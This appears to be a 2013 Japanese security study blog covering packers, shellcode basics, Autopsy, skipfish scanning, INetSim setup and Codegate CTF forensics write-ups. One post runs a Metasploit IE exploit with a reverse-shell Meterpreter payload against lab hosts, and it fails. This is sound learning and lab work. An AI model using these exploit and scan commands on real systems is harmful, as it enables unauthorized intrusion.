2013年10月29日火曜日

Pentester academy

Pentester academy
http://www.pentesteracademy.com/

技術的な解説をスライドとビデオで行っているサイト。
有料(初期99ドル、月額39ドル)だが、一部のビデオを無料で公開している。
すべて英語で解説しているが、ネイティブではないため比較的聞き取りやすく、聞いてみる価値はあると思う。

2013年5月6日月曜日

packer と unpacker

packer とはこちらのページによると

実行形式ファイルを実行可能な状態で圧縮(暗号化)するツールのこと。「コンプレッサ」などと呼ばれる場合もある。パックされたファイルは、ユーザーがダブルクリックするだけで自己解凍され、実行される。
 ウイルス対策ソフトの検出を逃れたり、解析を面倒にする目的でウイルス作者が使用する。パッカーを変更するだけで、簡単に亜種を作成できるため、現在の亜種の大量化のひとつの要因ともなっている。
 パッカーの形式は、通常のファイルには使用されない特殊な形式であることが多く、パッカーを使用しているファイルを「不正プログラムである可能性が高い」として検知する手法も有用である。

とのこと。そして、パックされた実行ファイルをもとの状態に戻すことをアンパックといい、そのためのツールが unpacker になる。

代表的な packer/unpacker として UPX がある。

UPX
日本語の解説は wiki が詳しい。 本家のサイトはこちら
Windows や Linux でフリーで使用できるので使い勝手はいい。ただし、Windows の 64 bit 実行ファイルには対応していないので注意が必要。
ファイル自体は MZ から始まるが、バイナリファイルを確認するとそのあと PE と続き UPX0 および UPX1 という文字が出てくるので識別は比較的容易。
Back Track でパックする場合は下記のコマンドを実行すれば同じファイルで圧縮される。

upx file.exe

アンパックする場合は -d オプションをつけて実行すれば同じファイル名でアンパックされる。

upx -d file.exe

Windows で実施する場合はコマンドラインで同様にパックおよびアンパックが可能。


そのほかにも FSG、tElock、Upack、MEW、PESpin、などなど多数あり、それぞれがどれぐらい圧縮されているかをテストした exe packer compression test というサイトもある。

そのため、実際にパックされたファイルやマルウェアをアンパックするには、PEiD などのパッカー確認ソフトでパッカーの種類を調べて、RL!Depacker でアンパックするというのが手っ取り早い。

2013年5月4日土曜日

Shellcode のお勉強 PART 1 CHAPTER 1 その1

The Shellcoder's Handbook を参考に Shellcode やバイナリ解析の勉強をしているので、実際にやってみた結果や理解のための忘備録として残します。The Shellcoder's Handbook を読もうとしている、読んでいる人の参考になればと思います。
あくまでも自分のメモ用なので正確な内容などは本を見てください。
この本で使用しているサンプルコードはここにあります。

PART 1 の CHAPTER 1 は「Before You Begin」となっており、本を読み進めるうえでの前提知識などについて書かれている。

使用する用語
  • Vulnerability(名詞):攻撃者がシステムを攻撃するのに使用するもの、セキュリティホールやセキュリティバグと言われたりする。
  • Exploit(動詞):Vulnerability(脆弱性)を利用して攻撃を行う行為。
  • Exploit(名詞):Vulnerabilityを利用したツールやコードのこと、Proof of Concept(POC)とも呼ぶ。
  • 0day(名詞):Exploit に利用されている脆弱性で未公開のもの。
  • Fuzzer(名詞):予期しない入力値を幅広いレンジで入力しシステムの検査を行うツールまたはアプリケーション、バグだしの検査に使われる。
メモリーについて
インテルの IA32 がどうやってメモリ管理をしているかを解説。セキュリティホールとして最もよくあるオーバーフローについて理解するためには必ず必要だから。
OSによって実行ファイルが呼び出されると3つのタイプのセグメントが作成される。
  • .text:読み込みのみ、プログラム命令。
  • .bss:書き込み可、グローバル変数用で初期化されていないデータ。
  • .data: 書き込み可、グローバル変数用で初期化されたデータ。
上記のセグメントを作成した後 stack と heap が初期化される。
  • stack:LIFOタイプのデータ構造で、ローカル変数を持つ、特に重要なポイントとしてスタックは grow down(下がっていく)ことであり stack に値が追加されると新しい値を示すアドレス位置はより低くなる。
  • heap:主に動的変数などを扱い、FIFOタイプのデータ構造、値が追加されると新しい値を示すアドレス位置はつみあがる。
↑アドレス下部
Shared libraries
.text
.bss
Heap (アドレス上位↓へ向かって伸びる)
Stack(アドレス下位↑へ向かって伸びる)
env pointer
Argc
↓アドレス上部

レジスターについて
レジスター(Registers) は電気回路に直接接続されている一種のメモリ。主に以下の4つのグループに分けられる。
  • General purpose:一般的な計算命令に使用、EAX/EBX/ECX が含まれデータやアドレス、オフセットアドレスなど多くの用途に使用される。その中でも ESP(extended stack pointer) は次に実行するスタックのアドレス位置を格納しており、アセンブリやバッファオーバーフローを理解するうえで重要なレジスター。
  • Segment:このレジスタグループのみ 16bit でsegment の追跡や 16bit アプリケーション用の後方互換として使用、CS/DS/SS が含まれる。
  • Control:CPU を制御するために使用、特に EIP(extended instruction pointer)は次に実行する機械命令のアドレスを格納しているため重要になる。
  • Other:EFLAGS(extended flags)というレジスターがあり、多数の CPU の結果を格納するシングルビットレジスターとして利用される。


2013年5月3日金曜日

autopsy の使い方

autopsy はディスクなどを調査するときに使用するフリーのフォレンジックツール。
ちなみに、Autopsy は日本語では「検死」となる。
ツールについてもう少し詳しく言えば autopsy は web インターフェースを提供するツールで、実際のディスク調査は The Sleuth Kit というツールが行う。

sleuthkit.org


日本語ヘルプ
http://www.monyo.com/technical/unix/TASK/autopsy-help-ja/

Back Track には The Sleuth Kit と autopsy がインストールされているのでそのまま使用できる。Windows で調べる場合は FTK imager あたり。

BT で使うにはまずメニューまたはコマンドラインで autopsy を立ち上げる。メニューなら Forensic あたりを探せば出てくるはず。実行すると下記のようなターミナルが立ち上がる。

============================================================================

                       Autopsy Forensic Browser 
                  http://www.sleuthkit.org/autopsy/
                             ver 2.24 

============================================================================
Evidence Locker: /tmp
Start Time: Thu May  2 23:31:24 2013
Remote Host: localhost
Local Port: 9999

Open an HTML browser on the remote host and paste this URL in it:

    http://localhost:9999/autopsy

Keep this process running and use  to exit

次に Web ブラウザで http://localhost:9999/autopsy へアクセスする。
ブラウザでアクセスすると下記のような画面が表示される。



解析を始める場合にはイメージファイルを準備して NEW CASE を選択する。



Case Name と Description を記入して NEW CASE を選択。これは単純に名前とコメントなので実際のインシデント解析でなければ適当で問題なし。



次の画面は必要なディレクトリを作成したことをお知らせしているだけ。次にホストを追加するので ADD HOST を選択する。



次の画面はホストの情報を調整する画面。時刻を合わせるなどの必要があれば入力する。通常は入力しなくても大丈夫。そのまま、ADD HOSTを選択。


ADD IMAGE を選択。



ADD IMAGE FILE を選択。


1. でイメージファイルの場所を選択、2. ではその Type を選択。 今回は USB デバイスのイメージだったので Partition を選択。3.はインポート方法なので、Copy を選択する。


MD5 を計算するかをどうかを選択して、File System Type を選択。今回はNTFS。


問題なければOKを押すと下記のように解析作業環境が整う。


あとは、 ANALYZE を押すだけ。


 この状態で解析を行うことができる。
FILE ANALYSIS で削除されたファイルの内容や属性情報を確認することができる。












2013年5月1日水曜日

skipfish の使い方

skipfish は Google が開発した Web スキャナ。
開発情報やダウンロード等はここからできる。

Back Track には標準でインストールされている。豊富なパターンがありスキャンにはある程度時間がかかる。Web 検査する場合、まずは skipfish で検査する対象をスキャンした後に手動で実施するのが効率的。

ログインが必要ないサイトへのスキャン

BT5R3 だと /pentest/web/skipfish に実行ファイルがある。ログインなしのWebだと下記のように実行する。

./skipfish -W wordlist -o output_dir start_url

それぞれのオプションは次のとおり。

  • -W: 使用する辞書を指定、同じディレクトリに dictionaries というディレクトリがあり、そこにデフォルトの辞書が置かれているので辞書ファイルがなければそれを指定する、minimal.wl でも Web の構造によってはかなりスキャンに時間がかかるので注意が必要、辞書を使わない場合は null を指定する方法もある。
  • -o: スキャン結果を保存するディレクトリを指定、HTML 形式でかなりの数のファイルが作成されるので、新規でディレクトリを作成したほうがよい。
  • start_url: スキャンを開始するURL
自動学習や辞書など使わずに短時間で指定ページのみスキャンしたい場合は -W で null を指定し、 -LY をつけて実行する。
また、デフォルトの状態では最大同時セッション数が40となっている。リモートから実施する場合などは調整をしたほうがネットワーク負荷が減ってよい。

ログインが必要なサイトのスキャン

ログインが必要な場合のオプションの指定方法は skipfish の wiki が詳しい。

Cookieでセッション管理している場合にはブラウザでログインし、Cookie情報を取得する必要がある。
取得したCookie情報は -C オプションで指定する。

./skipfish -N -C [cookie-name]=[value] -X /login -X /logout -o output-dir https://start_url

-N は新しいクッキーを受け付けないようにするオプション。通常は必要ないがクッキーを変更されたくない場合に使用。
-Xは検査除外設定。login や logout ページを検査するとログアウト処理されてしまい、その後の検査ができなくなるためセッション管理しているサイトの検査では必須。

ポップアップのauthの場合は -A オプションでユーザとパスワードを指定する。

User-Agent のチェックもしている場合は、User-Agent をクッキー情報を取得するブラウザと合わせる必要がある。その場合、-b オプションを使用する。ただし、標準で準備されている User-Agent は IE、Firefox、iphone となるため、Cookie 情報を使用する場合はブラウザを合わせる必要がある。

なお、Auth::setAdvancedSecurity オプションなどが有効になっていると正常に検査できないなど、認証関連では思うように動作しない場合がある。

2013年3月16日土曜日

MS13-009 Microsoft IE Use-After-Free の脆弱性を使った攻撃が失敗した

MS13-009 で報告されている Microsoft Internet Explorer の SLayoutRun Use-After-Free の脆弱性を使った攻撃モジュールが metasploit から出ていたので試してみる。
使うモジュールはms13_009_ie_slayoutrun_uafで作者のレポートはここ
ちなみにこのモジュールは「SP3 with Internet Explorer 8」しか対応していないとのこと。

metasploit を起動して必要なパラメータを入力する。

msf > use exploit/windows/browser/ms13_009_ie_slayoutrun_uaf 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set SRVHOST 10.0.0.80
SRVHOST => 10.0.0.80
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set LHOST 10.0.0.80
LHOST => 10.0.0.80
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set URIPATH ms13_009
URIPATH => ms13_009
msf  exploit(ms13_009_ie_slayoutrun_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.0.80:4444 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > [*] Using URL: http://10.0.0.80:8080/ms13_009
[*] Server started.

このモジュールは XP sp3 の IE8 に対応しているが、試しに sp2 の IE6 でアクセスしてみる。
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[-] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Browser not supported, sending 404: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

404 を返して終了。次は sp3 の IE8 でアクセスしてみる。
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...

msf  exploit(ms13_009_ie_slayoutrun_uaf) > show sessions

Active sessions
===============

No active sessions.

msf  exploit(ms13_009_ie_slayoutrun_uaf) > 

数回実行したがすべて失敗した。



DEP が有効に働いて失敗した模様。
ということでうまくいかなかった報告。

inetsim を Ubuntu へインストールする

inetsim は仮想的なインターネット環境をエミュレートするプログラム。
たとえばDNSやPOP、FTPなどを起動して応答する。
クローズドな環境でマルウェアを実際に動かして解析するときに使用する。
インストール手順としては、inetsim を登録してから apt-get となる。

VirtualBox:~$ wget http://www.inetsim.org/debian/binary/inetsim-archive-keyring_2008.10.12_all.deb
--2013-02-27 11:01:10--  http://www.inetsim.org/debian/binary/inetsim-archive-keyring_2008.10.12_all.deb
www.inetsim.org をDNSに問いあわせています... 81.169.154.213
www.inetsim.org|81.169.154.213|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 3140 (3.1K) [application/x-debian-package]
`inetsim-archive-keyring_2008.10.12_all.deb' に保存中

100%[======================================>] 3,140       --.-K/s   時間 0s    

2013-02-27 11:01:11 (77.5 MB/s) - `inetsim-archive-keyring_2008.10.12_all.deb' へ保存完了 [3140/3140]

VirtualBox:~$ 
VirtualBox:~$ 
VirtualBox:~$ sudo dpkg -i inetsim-archive-keyring_2008.10.12_all.deb 
未選択パッケージ inetsim-archive-keyring を選択しています。
(データベースを読み込んでいます ... 現在 147694 個のファイルとディレクトリがインストールされています。)
(inetsim-archive-keyring_2008.10.12_all.deb から) inetsim-archive-keyring を展開しています...
inetsim-archive-keyring (2008.10.12) を設定しています ...
OK
VirtualBox:~$ 
VirtualBox:~$ 
VirtualBox:~$ sudo apt-get update                    
1,916 B を 10秒 で取得しました (184 B/s)                                       
パッケージリストを読み込んでいます... 完了
VirtualBox:~$
VirtualBox:~$
VirtualBox:~$ sudo apt-get install inetsim
パッケージリストを読み込んでいます... 完了
依存関係ツリーを作成しています                
状態情報を読み取っています... 完了
以下の特別パッケージがインストールされます:
  libio-multiplex-perl libio-socket-inet6-perl libipc-shareable-perl
  libiptables-ipv4-ipqueue-perl libnet-cidr-perl libnet-server-perl
  libsocket6-perl
以下のパッケージが新たにインストールされます:
  inetsim libio-multiplex-perl libio-socket-inet6-perl libipc-shareable-perl
  libiptables-ipv4-ipqueue-perl libnet-cidr-perl libnet-server-perl
  libsocket6-perl
アップグレード: 0 個、新規インストール: 8 個、削除: 0 個、保留: 0 個。
584 kB のアーカイブを取得する必要があります。
この操作後に追加で 2,830 kB のディスク容量が消費されます。
続行しますか [Y/n]? Y
取得:1 http://www.inetsim.org/debian/ binary/ inetsim 1.2.3-1 [299 kB]         
取得:2 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libio-multiplex-perl all 1.13-1 [22.2 kB]
取得:3 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libsocket6-perl i386 0.23-1build1 [25.1 kB]
取得:4 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libio-socket-inet6-perl all 2.65-1.1 [13.7 kB]
取得:5 http://jp.archive.ubuntu.com/ubuntu/ oneiric/universe libipc-shareable-perl all 0.60-8 [34.7 kB]
取得:6 http://jp.archive.ubuntu.com/ubuntu/ oneiric/universe libiptables-ipv4-ipqueue-perl i386 1.25-3build1 [25.7 kB]
取得:7 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libnet-cidr-perl all 0.14-1 [14.7 kB]
取得:8 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libnet-server-perl all 0.99-2ubuntu2 [149 kB]
584 kB を 4秒 で取得しました (142 kB/s)                                   
未選択パッケージ libio-multiplex-perl を選択しています。
(データベースを読み込んでいます ... 現在 147699 個のファイルとディレクトリがインストールされています。)
(.../libio-multiplex-perl_1.13-1_all.deb から) libio-multiplex-perl を展開しています...
未選択パッケージ libsocket6-perl を選択しています。
(.../libsocket6-perl_0.23-1build1_i386.deb から) libsocket6-perl を展開しています...
未選択パッケージ libio-socket-inet6-perl を選択しています。
(.../libio-socket-inet6-perl_2.65-1.1_all.deb から) libio-socket-inet6-perl を展開しています...
未選択パッケージ libipc-shareable-perl を選択しています。
(.../libipc-shareable-perl_0.60-8_all.deb から) libipc-shareable-perl を展開しています...
未選択パッケージ libiptables-ipv4-ipqueue-perl を選択しています。
(.../libiptables-ipv4-ipqueue-perl_1.25-3build1_i386.deb から) libiptables-ipv4-ipqueue-perl を展開しています...
未選択パッケージ libnet-cidr-perl を選択しています。
(.../libnet-cidr-perl_0.14-1_all.deb から) libnet-cidr-perl を展開しています...
未選択パッケージ libnet-server-perl を選択しています。
(.../libnet-server-perl_0.99-2ubuntu2_all.deb から) libnet-server-perl を展開しています...
未選択パッケージ inetsim を選択しています。
(.../inetsim_1.2.3-1_all.deb から) inetsim を展開しています...
man-db のトリガを処理しています ...
ureadahead のトリガを処理しています ...
ureadahead will be reprofiled on next reboot
libio-multiplex-perl (1.13-1) を設定しています ...
libsocket6-perl (0.23-1build1) を設定しています ...
libio-socket-inet6-perl (2.65-1.1) を設定しています ...
libipc-shareable-perl (0.60-8) を設定しています ...
libiptables-ipv4-ipqueue-perl (1.25-3build1) を設定しています ...
libnet-cidr-perl (0.14-1) を設定しています ...
libnet-server-perl (0.99-2ubuntu2) を設定しています ...
inetsim (1.2.3-1) を設定しています ...
 Creating default SSL key and certificate... done.
 * Edit /etc/default/inetsim to start inetsim
VirtualBox:~$
VirtualBox:~$
VirtualBox:~$
VirtualBox:~$ sudo inetsim
INetSim 1.2.3 (2012-10-01) by Matthias Eckert & Thomas Hungenberg
Main logfile '/var/log/inetsim/main.log' does not exist. Trying to create it...
Main logfile '/var/log/inetsim/main.log' successfully created.
Sub logfile '/var/log/inetsim/service.log' does not exist. Trying to create it...
Sub logfile '/var/log/inetsim/service.log' successfully created.
Debug logfile '/var/log/inetsim/debug.log' does not exist. Trying to create it...
Debug logfile '/var/log/inetsim/debug.log' successfully created.
Using log directory:      /var/log/inetsim/
Using data directory:     /var/lib/inetsim/
Using report directory:   /var/log/inetsim/report/
Using configuration file: /etc/inetsim/inetsim.conf
Parsing configuration file.
Configuration file parsed successfully.
=== INetSim main process started (PID 2983) ===
Session ID:     2983
Listening on:   127.0.0.1
Real Date/Time: Wed Feb 27 11:06:31 2013
Fake Date/Time: Wed Feb 27 11:06:31 2013 (Delta: 0 seconds)
 Forking services...
  * time_37_udp - started (PID 3001)
  * echo_7_udp - started (PID 3005)
  * echo_7_tcp - started (PID 3004)
  * syslog_514_udp - started (PID 2999)
  * ident_113_tcp - started (PID 2998)
  * daytime_13_udp - started (PID 3003)
  * discard_9_udp - started (PID 3007)
  * irc_6667_tcp - started (PID 2995)
  * finger_79_tcp - started (PID 2997)
  * dummy_1_udp - started (PID 3013)
  * time_37_tcp - started (PID 3000)
  * discard_9_tcp - started (PID 3006)
  * dns_53_tcp_udp - started (PID 2985)
  * daytime_13_tcp - started (PID 3002)
  * chargen_19_udp - started (PID 3011)
  * quotd_17_udp - started (PID 3009)
  * chargen_19_tcp - started (PID 3010)
  * ntp_123_udp - started (PID 2996)
  * quotd_17_tcp - started (PID 3008)
  * dummy_1_tcp - started (PID 3012)
  * tftp_69_udp - started (PID 2994)
  * smtp_25_tcp - started (PID 2988)
  * ftps_990_tcp - started (PID 2993)
  * ftp_21_tcp - started (PID 2992)
  * smtps_465_tcp - started (PID 2989)
  * pop3s_995_tcp - started (PID 2991)
  * http_80_tcp - started (PID 2986)
  * pop3_110_tcp - started (PID 2990)
  * https_443_tcp - started (PID 2987)
 done.
Simulation running.

  * dummy_1_udp - stopped (PID 3013)
  * dummy_1_tcp - stopped (PID 3012)
  * chargen_19_udp - stopped (PID 3011)
  * chargen_19_tcp - stopped (PID 3010)
  * quotd_17_udp - stopped (PID 3009)
  * quotd_17_tcp - stopped (PID 3008)
  * discard_9_udp - stopped (PID 3007)
  * discard_9_tcp - stopped (PID 3006)
  * echo_7_udp - stopped (PID 3005)
  * echo_7_tcp - stopped (PID 3004)
  * daytime_13_udp - stopped (PID 3003)
  * daytime_13_tcp - stopped (PID 3002)
  * time_37_udp - stopped (PID 3001)
  * time_37_tcp - stopped (PID 3000)
  * ident_113_tcp - stopped (PID 2998)
  * finger_79_tcp - stopped (PID 2997)
  * ntp_123_udp - stopped (PID 2996)
  * ftps_990_tcp - stopped (PID 2993)
  * ftp_21_tcp - stopped (PID 2992)
  * pop3s_995_tcp - stopped (PID 2991)
  * pop3_110_tcp - stopped (PID 2990)
  * smtps_465_tcp - stopped (PID 2989)
  * smtp_25_tcp - stopped (PID 2988)
  * https_443_tcp - stopped (PID 2987)
  * http_80_tcp - stopped (PID 2986)
  * dns_53_tcp_udp - stopped (PID 2985)
  * syslog_514_udp - stopped (PID 2999)
  * tftp_69_udp - stopped (PID 2994)
  * irc_6667_tcp - stopped (PID 2995)
Simulation stopped.
=== INetSim main process stopped (PID 2983) ===
.
VirtualBox:~$ 


起動まで確認できたところで inetsim.conf の設定。
 /etc/inetsim/inetsim.conf を編集する。
サーバで使用する IP アドレスなので、下記の部分をサーバについている IP アドレスを使用する。

service bind address
dns_default_ip

また、この状態では NAT 変換機能がないため iptables の NAT 機能ですべての通信を自分あてに変更する。
下記の2行を追加する。
インターフェースは eth0 の場合。

sudo iptables -t nat -A PREROUTING -i eth0 -j REDIRECT
sudo iptables -t filter -A INPUT -i eth0 -j ACCEPT 

通信の履歴などは /var/log/inetsim/service.log に保存される。


2013年3月14日木曜日

Codegate 2013 Forensics 300 Writeup

Forensics 300 の問題は次のとおり。

Find key?

鍵を見つけろとだけ書かれていて、あとはファイルが置かれている。
リンクを保存すると「ce5a4c1f062bffc9eb02c1f911d449d8.docx」というファイルができる。拡張子が docx なのでとりあえずは普通に word として開いてみる。


複数の画像ファイルが埋め込まれているだけで、文字のようなものは見当たらない。
docx ファイルは zip 形式になっているので、まずは unzip を行ってみる。

forensics300# unzip ce5a4c1f062bffc9eb02c1f911d449d8.docx 
Archive:  ce5a4c1f062bffc9eb02c1f911d449d8.docx
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
  inflating: word/document.xml       
  inflating: word/embeddings/oleObject1.bin  
  inflating: word/fontTable.xml      
  inflating: word/media/image1.jpeg  
  inflating: word/media/image2.emf   
  inflating: word/media/image3.jpeg  
  inflating: word/media/image4.emf   
  inflating: word/media/image5.jpeg  
  inflating: word/media/image6.emf   
  inflating: word/settings.xml       
  inflating: word/styles.xml         
  inflating: word/theme/theme1.xml   
  inflating: word/webSettings.xml    
  inflating: word/_rels/document.xml.rels  
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
forensics300# ls -lh
total 1000K
-rwxr-xr-x 1 root root 981K 2013-03-14 22:02 ce5a4c1f062bffc9eb02c1f911d449d8.docx
-rw-r--r-- 1 root root 1.5K 2013-02-22 14:30 [Content_Types].xml
drwxr-xr-x 2 root root 4.0K 2013-03-14 22:02 docProps
drwxr-xr-x 2 root root 4.0K 2013-03-14 22:02 _rels
drwxr-xr-x 6 root root 4.0K 2013-03-14 22:02 word
forensics300# 

もとのファイルは画像が中心だったので、画像が保存されている word の下にある media フォルダを重点的に確認する。

forensics300/word/media# ls -lh
total 1.9M
-rw-r--r-- 1 root root  29K 2013-02-22 14:30 image1.jpeg
-rw-r--r-- 1 root root 1.4M 2013-02-22 14:30 image2.emf
-rw-r--r-- 1 root root 250K 2013-02-22 14:30 image3.jpeg
-rw-r--r-- 1 root root 7.2K 2013-02-22 14:30 image4.emf
-rw-r--r-- 1 root root 165K 2013-02-22 14:30 image5.jpeg
-rw-r--r-- 1 root root  13K 2013-02-22 14:30 image6.emf

中身をみると jpeg と emf ができていた。emf は windows の画像フォーマットの一つ。
それぞれのファイルをまずは画像ビューアで確認していると、image6.emf だけが開けなかったため、バイナリエディタで中を見る。

forensics300/word/media# hexdump -C image6.emf | more
00000000  50 4b 03 04 14 00 06 00  08 00 00 00 21 00 09 24  |PK..........!..$|
00000010  87 82 81 01 00 00 8e 05  00 00 13 00 08 02 5b 43  |..............[C|
00000020  6f 6e 74 65 6e 74 5f 54  79 70 65 73 5d 2e 78 6d  |ontent_Types].xm|
00000030  6c 20 a2 04 02 28 a0 00  02 00 00 00 00 00 00 00  |l ...(..........|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

すると、マジックナンバーが PK で、そのあとに xml の文字が確認できた。
そこでこのファイルの拡張子を docx に変更して開いてみる。




2013が鍵かとも思ったが違った。ここで行き詰ったので、ヒントを確認すると「Extra_Field_Entry」とある。
ヒントをもとに検索してみる。

どうやら docx の Extra Field entry に対してステガノグラフィーを使えるツールがあるらしい。上記のツールはいくつかの dll を要求されてうまく動かなかったので、Joakim Schicht という人が作成していた unhider を使ってみた。これは文字列の埋め込みまたは取り出しの時に暗号化および復号ができる。そこで先ほどの「2013」を指定してみる。





すると、Unhider のフォルダにテキストファイルで取り出した文字列が保存される。

c0d2gate~2o13!!F0r2nsic!!!!!

これが答え。



2013年3月9日土曜日

Codegate 2013 Forensics 200 Writeup

問題文とヒントは下記のとおり。
For sweeping child sexual abuse, Police makes a big plan.
Police found out common point of child sexual abuses.
The common point is that they are motivated from sexual video clips and materials related with child.
Police started to investigate child pornography, and then arrests downloaders.
One day, Police swoops one downloader’s house, and arrests him. Then they analysis downloader’s computer and digital storage, but the child pornography was deleted all.
Although they analysis all traces to gather evidences, there was no trace to download child pornography.
Police confirmed that the downloader by checking traffic mornitoring.
Police has traffic information as evidence, they can’t prosecute the downloader for lake of evidence.
Now Police is asking you.
“Please, find a conclusive evidence to prosecute the downloader”

Key format : SHA1("md5(Evidence File)_Download Time")

Download Time : KST, YYYY/MM/DD_HH:MM:SS

[For 200 Hint] Dir_completed_torrents88 

児童ポルノに関する証拠を見つけるのが問題らしい。 証拠ファイルはすべて削除されいるとのことなので、ダウンローダーのキャッシュかログファイルから答えを見つけるようだ。
まず file コマンドで確認するとディスクイメージのようなのでパーティションを確認してマウントする。

forensics200# file 69e315135f2ebfa153d947e3fa29c0c2 
69e315135f2ebfa153d947e3fa29c0c2: x86 boot sector; 
partition 1: ID=0x7, starthead 2, startsector 128, 1042432 sectors, 
code offset 0xc0, OEM-ID "      м", Bytes/sector 190, 
sectors/cluster 124, reserved sectors 191, FATs 6, 
root entries 185, sectors 64514 (volumes <=32 MB) ,
 Media descriptor 0xf3, sectors/FAT 20644, heads 6, 
hidden sectors 309755, sectors 2147991229 (volumes > 32 MB) , 
physical drive 0x7e, dos < 4.0 BootSector (0x0)
forensics200# 
forensics200# mmls 69e315135f2ebfa153d947e3fa29c0c2 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000000127   0000000128   Unallocated
02:  00:00   0000000128   0001042559   0001042432   NTFS (0x07)
03:  -----   0001042560   0001048575   0000006016   Unallocated
forensics200# mount -o loop,offset=65536 -t ntfs 69e315135f2ebfa153d947e3fa29c0c2 evidence
forensics200# 

マウントしたファイルを眺めていると uTorrent を使っており、これがダウンローダーと推測できるがそこからすすまず。ヒントとなる torrents88 で検索をしてみると、下記のような情報がでてきた。

forensics200# strings 69e315135f2ebfa153d947e3fa29c0c2 | grep torrents88
23:default_torrent_handleri1e7:devicesd7:deviceslee19:dir_active_download22:C:\Users
\Administrator24:dir_active_download_flagi1e22:dir_completed_torrents88:C:\Users\CodeGate_Forensic\AppData\Roaming\Microsoft\Windows\Start
 Menu\Programs\Startup27:dir_completed_torrents_flagi1e17:dir_torrent_files88:C:\Users\CodeGate_Forensic\AppData\Roaming\Microsoft\Windows\Start
 Menu\Programs\Startup22:dir_torrent_files_flagi1e22:dl_image_modifiedsincel76:http://google.com/search?q=filetype%3Atorrent+  Tue, 14 Aug 2012 
15:19:23 GMT80:http://www.bittorrent.com/search?client=%v&search=

この情報をもとに C:\Users\CodeGate_Forensic\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup27 を autopsy を使って探す。すると、Startup27 というのはなく 052b585f1808716e1d12eb55aa646fc4984bc862 と言うファイルが見つかった。ファイルの中身には TorrentRG.com とあり、ダウンロードファイルの可能性が高い。



このファイルの属性情報を確認する。


必要な情報は
  • MD5: 449529c93ef6477533be01459c7ee2b4
  • Download Time:Mon Dec 24 13:45:43 2012

となる。これを問題文の書式に直して sha1 の値を取得する。

forensics200# sha1sum
449529c93ef6477533be01459c7ee2b4_2012/12/24_13:45:43
20789d8dae4efe2ece9194ef08b1c752c04b5e47

20789d8dae4efe2ece9194ef08b1c752c04b5e47 が答えになる。

Codegate 2013 Forensics 100 Writeup

問題文は与えられたファイルから従業員が不正に取得したと思われるファイルの特定、ファイルサイズ、オンラインストレージへのアップロード時間と変更時間を下記の形式で答えなさいというもの(記憶が若干曖昧)

Upload date&time(UTC+9:00)_Modified date&time(UTC+9:00)_Filename.extention_Filesize(logicalfilesize)

与えられたファイルは次のファイル。

8fb4cb1c2b32ed533f4fbdb6582501b5

まずこのファイルのバイナリを確認すると、7z\xbc\xaf\x27\x1cとなっているので7zファイルだとわかる。

forensics100# hexdump -C 8fb4cb1c2b32ed533f4fbdb6582501b5 | more
00000000  37 7a bc af 27 1c 00 03  43 f7 b4 28 09 8d 58 03  |7z..'...C..(..X.|
00000010  00 00 00 00 5e 00 00 00  00 00 00 00 49 74 ca 12  |....^.......It..|
00000020  00 19 b0 0d cd 06 0e 84  a1 eb fe fa 17 92 f1 cb  |................|
00000030  92 da c0 4b c7 a1 01 39  0e 67 78 13 b7 0c 93 a7  |...K...9.gx.....|
00000040  5a c9 ec 2b 85 e1 96 1f  7b e3 ce bf 81 e1 7e 0c  |Z..+....{.....~.|
00000050  34 d1 fa 45 a6 c1 a1 32  69 85 7b 39 8f bb 15 33  |4..E...2i.{9...3|
00000060  2d 39 84 3f 32 ca 4c 4d  15 1c a1 ea a2 76 fa 5c  |-9.?2.LM.....v.\|
00000070  09 0e 9f fa 00 33 c8 60  1c 97 c2 0a 97 15 28 2d  |.....3.`......(-|
00000080  cc 34 8d 4d 73 3a d2 44  c5 45 86 38 ee 80 e5 09  |.4.Ms:.D.E.8....|
00000090  21 8f 33 1e b9 1e 8f df  43 eb 09 c7 5d c6 bb bb  |!.3.....C...]...|

ファイルを 7zip で展開すると evidence.001 というファイルができる。
file コマンドで evidence.001 の内容を確認してみる。

